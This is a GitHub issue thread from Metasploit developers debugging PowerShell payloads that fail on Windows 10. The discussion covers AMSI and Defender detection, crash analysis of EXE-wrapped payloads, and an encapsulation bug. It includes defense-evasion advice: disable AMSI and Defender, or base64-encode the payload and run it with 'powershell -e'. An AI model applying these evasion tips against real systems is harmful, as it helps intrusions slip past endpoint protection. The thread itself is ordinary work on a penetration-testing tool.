powershell payloads fail on Windows #10239
Comments
|
You're getting caught on amsi most likely, no stage is requested. Disable it and defender and should work fine. |
|
|
|
Are there AMSI events in the log? Does this occur on all powershell methods (msil/reflection...) |
|
Payloads stopped working for me on Windows 10 after the latest updates. I
think Cobalt Strike had the same problem. Something to do with function
resolution.
…On Tue., 3 Jul. 2018, 07:07 RageLtMan, ***@***.***> wrote:
Are there AMSI events in the log? Does this occur on all powershell
methods (msil/reflection...)
I will test on a fully patched and AVed system shortly and produce a
bypass or fix. My thought is still that its in the harness, but let's see.
Thanks for tracking
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
<#10239 (comment)>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/AABw4D1ZQmVI3IQQDZwbgS7upGOtmtzdks5uCoucgaJpZM4U_t1_>
.
|
|
Just PSH or all? They might be tagging the asm resolver... |
|
Packer is still building an updated image. Meantime, I am curious if msil fails because it shouldn't be pulling any unsafe methods in with it. They may have signed for order of exec in there, but its all native .net stuff. |
|
Pulling the payload out using dry_run, and manually running it from cmd.exe produces: Our process wrappers are being caught. and still getting caught. |
|
I hate this cat and mouse idiocy - they are NOT catching the payload itself. copy and paste results into powershell window... with no issues: ... Further proving that this is onanistic on both sides. |
|
This is like a yard sale of awful ideas. AMSI will catch it. However, a stupid simple fix is to: and use powershell -e on the product. I'll put together something viable for master tomorrow, meantime, if you really need to pwn something, encode it using the unicode base64 stuff in Rex::Powershell again and use the -e flag to execute. |
|
@sempervictus if you get a patch in today, I'll make it the priority and get it landed, then write up automated tests so we can find out much faster next time. |
|
@bwatters-r7: Wont have it wrapped during working hours, PoC is viable though. Sometime tonight is more likely - still engaged in client environment somewhere between an IDS, logstash, and elasticsearch (the nether void of broken dreams in modern NSM space). |
|
@bwatters-r7: i was able to boil it down to code shuffle. I think we can give the other side a C for effort on this round and let the audience judge efficacy for themselves (after we test and commit our response). |
|
can confirm broken for me on |
|
In an attempt to clarify what this issue is and what I'm trying to figure out, exe versions of powershell payloads crash when I try to run them. I can copy/paste the powershell command with base64-encoded data in it, and it works great. It is the EXEs that fail- that's what I'm trying to fix here... or at least identify the problem. When I run the exe, it crashes, and I get an error with event ID 1000 in the Application log on windows. It says that there was an app crash and is not particularly useful otherwise: When I force a dump file for the crash, I get some more information (ish): So it looks like we are trying to access something that should not get accessed; specifically in instruction 000000014000400e:
Just for fun, I also attached windbg to it and let it run, and hey.... agreement! Then when I hop to that memory location: So yeah, we're trying to access a memory location that is not mapped into the process. I have no idea why. I assume this is not on purpose. |
|
There is likely a second (unrelated) issue also with powershell payloads in that psexec_psh fails when the script is removed from under powershell's nose during the service's execution. I think that's what's fixed in @sempervictus's patch. |
|
Some context from the prior ticket: #10032 (comment). |
|
Looking at this in a browser vs a mail client makes a world of difference... |
|
Warning: you are really going to want to read this in a browser.... Powershell payloads are just commands. Sure, longer commands, specialized commands, but commands. We already have an established method of encapsulating commands into payloads with exec and dumping them into exes, so why are we not using it with powershell? If I use the payload If I do the same for That's made doubly odd because if you checkout out the It looks like someone intended the I have a working branch now where I have "fixed" the short-circuited encapsulation and it works just fine for encapsulated powershell, spitting out exactly what it looks like it was designed to do. Unfortunately, I a not sure what it might break since anyone using |
|
|
|
Well, the jackass at fault is me, and its because of how the original implementation was wired into psexec - I needed to pass a command string. What we might want to do to cover my mess up with some pretty rugs is pass a param to the generator for depth of wrapping on exec encaps which would let us default to current and have the exe generator go one level off to generate a proper wrapper. Its an ugly hack, but should work... |
|
I'm not entirely sure it is your fault (at least it was not your name on the commits), and trust me, I had lots of help from @wvu. I anticipated that we would need to hunt around for uses of |
Steps to reproduce
How'd you do it?
Expected behavior
I should get a powershell session and a meterpreter session
Current behavior
I only get meterpreter session
System stuff
Metasploit version
I installed Metasploit with:
ruby-2.5.1
OS
What OS are you running Metasploit on?
msfconsole running on
Linux ubuntu 4.4.0-128-generic #154-Ubuntu SMP Fri May 25 14:15:18 UTC 2018 x86_64 x86_64 x86_64 GNU/LinuxWindows 2016
Windows 10x64 1511
The text was updated successfully, but these errors were encountered: